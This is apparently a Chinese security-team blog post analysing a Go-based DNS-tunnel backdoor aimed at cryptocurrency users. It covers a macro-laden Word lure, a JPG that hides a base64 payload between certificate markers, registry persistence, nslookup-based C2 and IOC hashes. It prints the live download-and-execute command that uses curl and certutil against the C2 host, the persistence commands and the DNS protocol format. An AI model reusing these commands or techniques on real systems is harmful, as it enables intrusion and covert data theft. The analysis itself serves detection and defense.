针对加密货币行业,通过VT0检图片分发GO编写的DNS后门
2022-11-5 08:2:44 Author: ChaMd5安全团队(查看原文) 阅读量:12 收藏

概述:

使用Go语言编写的恶意软件变得越来越流行,主要原因为Go在跨平台支持和编译方面非常灵活,可以在包含所有需要的依赖项的单个二进制自身中针对多个操作系统和架构进行编译,与C++或C#编译的二进制文件相比,Go二进制文件更难分析和逆向工程并且av检测率低 使用恶意软件框架批量化生成基于Go的恶意软件针对Windows和Linux/Unix操作系统的攻击活动频率也在逐渐增加

初始载荷:

初始载荷文件名称为Geos-Rates.docx,翻译为GEOS汇率,GEOPOLY属于是一款最近比较流行的区块链游戏,GEOS是游戏中的货币,推断攻击者针对的目标群体为加密货币行业人员使用加载手法也比较常见,通过模板注入的方式去下载下一阶段携带宏的文档,然后诱导用户启用宏

Lolbin:

执行的VBA代码使用变量名混淆,关键命令HEX编码,用于规避静态查杀检测,执行的三段代码内容一模一样

Auto_Openexecl中自动执行宏的函数
AutoOpenword中自动执行宏的函数
AutoExecaccess中自动执行宏的函数

三种不同的自动执行函数出现在同一文件的宏代码中则说明攻击者在此次行动中生成了大量的execl,word,access文件,并且均嵌入了相同的宏代码,因此可以将这个作为特征点批量进行检测筛选代码逻辑比较清晰,直接调用cmd执行命令从c2下载.jpg后续文件并且使用certutil解码图片为可执行文件

cmd.exe  /c cd %localappdata% & 
curl http://www.xmlschemeformat.com/update/2021/office/oxb36f8geec634.jpg -o oxb36f8geec634.jpg & 
certutil -decode oxb36f8geec634.jpg msdllupdate.exe & 
msdllupdate.exe

和其他攻击的不同点在于,大部分攻击者将连接c2下载的jpg文件实际上常为恶意脚本或者是恶意可执行文件,但是此次攻击中,图片可以正常打开,是一张詹姆斯韦伯望远镜拍摄的空间图像,并且图片在VT0检测率

JPG:

查看其16进制,文件结构大致为

相同JPG
-----BEGIN CERTIFICATE-----
base64编码的go
-----END CERTIFICATE-----
相同JPG
相同JPG

三张相同天文图片中间夹着base64编码后的恶意程序,文件可以直接使用copy命令合成,使用windows自带certutil程序对整体base64解码时只会将恶意编码部分解出来 通过测试发现使用certutil decode执行时会检测到字符"-----BEGIN CERTIFICATE-----" 和 "-----END CERTIFICATE-----",并且只会将其中的代码段解码,其他无关代码直接舍弃 例如

GO_DNS后门

最终执行程序为go语言编写64位程序,变量名函数名基本上都没有直接使用明文,搜索发现是使用了开源的混淆软件gobfuscate进行过混淆 将自身写入"C:\\Users\\Admin\\AppData\\Local\\microsoft\\vault\\msdllupdate.exe"目录下

持久化:

通过在C:\Users\Admin\AppData\Local\microsoft\vault\Update.bat目录下创建执行批处理脚本,然后自删除 执行内容:

mkdir %LOCALAPPDATA%\microsoft\windows\MsSafety
copy %localappdata%\microsoft\vault\Msdllupdate.exe  %LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe
reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /V run /t REG_SZ /F /D %LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe

用于将自身复制到%LOCALAPPDATA%\microsoft\windows\MsSafety目录下,添加注册表键值实现持久化

字符串加密方式:

字符串使用凯撒密码加密,位移一位,ROT47(-1)

base64编码:

将传输的字符串通过base64编码后作为传输内容

通信方式:

样本通信方式比较特别,使用DNS隧道进行通信,首先通过解析其根域名apiregis.com和DNS服务器建立连接,然后再将加密后的传输内容拼接在域名的开头作为子域来传输 均调用cmd执行nslookup命令实现DNS请求 什么是DNS隧道?

"在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。"

通信格式:

编码:

将回传的内容经过base64编码后添加在URL前面

| 待发送内容: msdllupdate.exe|DESKTOP-NU4OK5U|DESKTOP-NU4OK5U\\Admin| 编码后:

bXNkbGx1cGRhdGUuZXhlfERFU0tUT1AtTlU0T0s1VXxERVNLVE9QLU5VNE9LNVVcQWRtaW58.R3G7834EDAL65**.apiregis.com**
上线包:

重复执行11次:nslookup -q=txt-timeout=15 ReplaceWithRandom.C44352SSAWEQ.apiregis.com用于检测是否连接上DNS服务器 如果连接成功则接收一个唯一的USER_ID作为通信标识,USER_ID将被嵌入所有收发命令,并且会将这个USER_ID写入文件:

%LOCALAPPDATA%\microsoft\vault\MsDb.db
协议格式:

nslookup -q=txt -timeout=15 [USER_ID].[info].apiregis.com USER_ID是唯一标识符,info则是编码后待发送的字符串 命令执行: 循环接收到的指令解码后使用cmd执行

总结:

文章是在八月份进行分析的,最近重新校对的时候发现VT检测率已经很高了,虽然仅仅只是编码后的文件合并,依然可以规避静态查杀,整体的攻击行为针对web3用户,使用go编译DNS后门的组合还是较为新颖,暂时先不对其后续ioc关联扩线

IOC:

Geos-Rates.docx
da43ec30fe12c45529e51a0c986a856aa8772483875356f29382ac514788f86d

form.dotm 
383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f

OxB36F8GEEC634.jpg 
3bdf6d9f0f35be75d8345d897ec838ae231ba01ae898f6d0c8f920ff4061fc22

msdllupdate.exe 
d09af37cdbae7273e4e7c79b242023ffdb07c8ccab2280db7fe511d2b14ad19c

参考:

https://www.securonix.com/blog/golang-attack-campaign-gowebbfuscator-leverages-office-macros-and-james-webb-images-to-infect-systems/ https://www.freebuf.com/articles/network/284740.html

end

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247507387&idx=1&sn=0c1344417e1c23dd25d4ccc647566d17&chksm=e89df563dfea7c75e1f3dc9ab57c86c0958db6fea9e45283b68b3c40c241585e84929c11779e#rd
如有侵权请联系:admin#unsafe.sh